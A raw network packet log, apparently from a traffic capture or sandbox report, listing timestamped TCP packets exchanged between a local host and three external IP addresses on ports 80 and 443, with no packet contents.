Feb 5, 2024 10:57:27.022809029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022819042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022849083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022861958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022887945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022916079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022926092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022937059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022965908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023061991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023066998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023066998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023099899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023130894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023143053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023150921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023183107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023188114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023221016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023227930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023260117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023274899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023298025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023310900 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023336887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023345947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023375988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023386955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023413897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023425102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023451090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023463964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023490906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023514986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023529053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023536921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023566961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023583889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023605108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023619890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023643017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023663044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023682117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023690939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023719072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023730040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023756981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023766994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023794889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023808956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023833990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023847103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023875952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023884058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023912907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023933887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023951054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.023956060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.023991108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024000883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024029970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024034977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024069071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024084091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024108887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024120092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024147034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024173021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024184942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024194956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024275064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024282932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024312973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024326086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024353027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024357080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024390936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024396896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024429083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024436951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024466991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024477005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024504900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024514914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024544001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024554014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024580956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024599075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024620056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024635077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024657965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024666071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024696112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024708033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024734020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024745941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024775028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024780035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024812937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024825096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024852991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024863958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024892092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024899960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024931908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024955034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.024969101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.024976969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025007010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025019884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025048018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025058031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025087118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025099993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025131941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025145054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025171041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025177956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025208950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025214911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025247097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025259972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025285959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025291920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025324106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025332928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025362015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025369883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025398970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025418997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025438070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025449038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025487900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.025500059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.025532961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.027368069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.027534008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265129089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265166044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265182972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265199900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265247107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265264988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265269995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265283108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265300035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265317917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265336037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265351057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265351057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265351057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265353918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265383959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265384912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265407085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265424967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265444040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265489101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265495062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265515089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265542030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265559912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265712023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265732050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265748024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265762091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265768051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265786886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265788078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265788078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265806913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265825987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.265938044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265957117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265974998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.265993118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266005039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266012907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266024113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266057968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266088009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266105890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266122103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266134024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266134024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266140938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266161919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266185045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266201973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266223907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266258001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266300917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266305923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266326904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266349077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266365051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266380072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266408920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266474009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266493082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266510010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266520977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266547918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266566038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266601086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266618967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266635895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266654015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266670942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266674995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266674995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266705990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266706944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266705990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266730070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266740084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266748905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266767979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266772985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266805887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266825914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266834974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266853094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266870022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266897917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266916037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.266964912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.266983032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267016888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267025948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267035007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267055988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267055988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267065048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267081022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267083883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267100096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267102003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267118931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267119884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267138004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267160892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267463923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267523050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267587900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267607927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267626047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267637014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267644882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267663002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267663002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267663002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267679930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267688036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267700911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267702103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267766953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267786026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267796993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267803907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267841101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267880917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267899990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267906904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267927885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267944098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.267955065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267980099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.267980099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268021107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268038988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268054962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268073082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268074036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268074036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268091917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268109083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268122911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268127918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268172979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268172979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268172979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268196106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268203974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268214941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268232107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268244982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268249989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268265009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268269062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268287897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268290997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268290997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268306971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.268738985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.268985987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.269109964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.270654917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.321177006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:28.812474012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:28.812520981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.052313089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.070739985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.187777042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.250756025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.250845909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.490366936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.508344889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.581257105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.582251072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.582285881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:29.821820974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.840256929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:29.886765957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:30.122056007 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.239244938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.239358902 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.239691973 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.356651068 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574423075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574481010 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574517965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574554920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574563980 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.574592113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574630022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574645996 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.574668884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574690104 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.574707031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574744940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574762106 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.574786901 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.574843884 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.574945927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.650646925 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:30.650732994 CET	443	49737	104.21.94.2	192.168.2.4
Feb 5, 2024 10:57:30.650837898 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:30.655414104 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:30.655450106 CET	443	49737	104.21.94.2	192.168.2.4
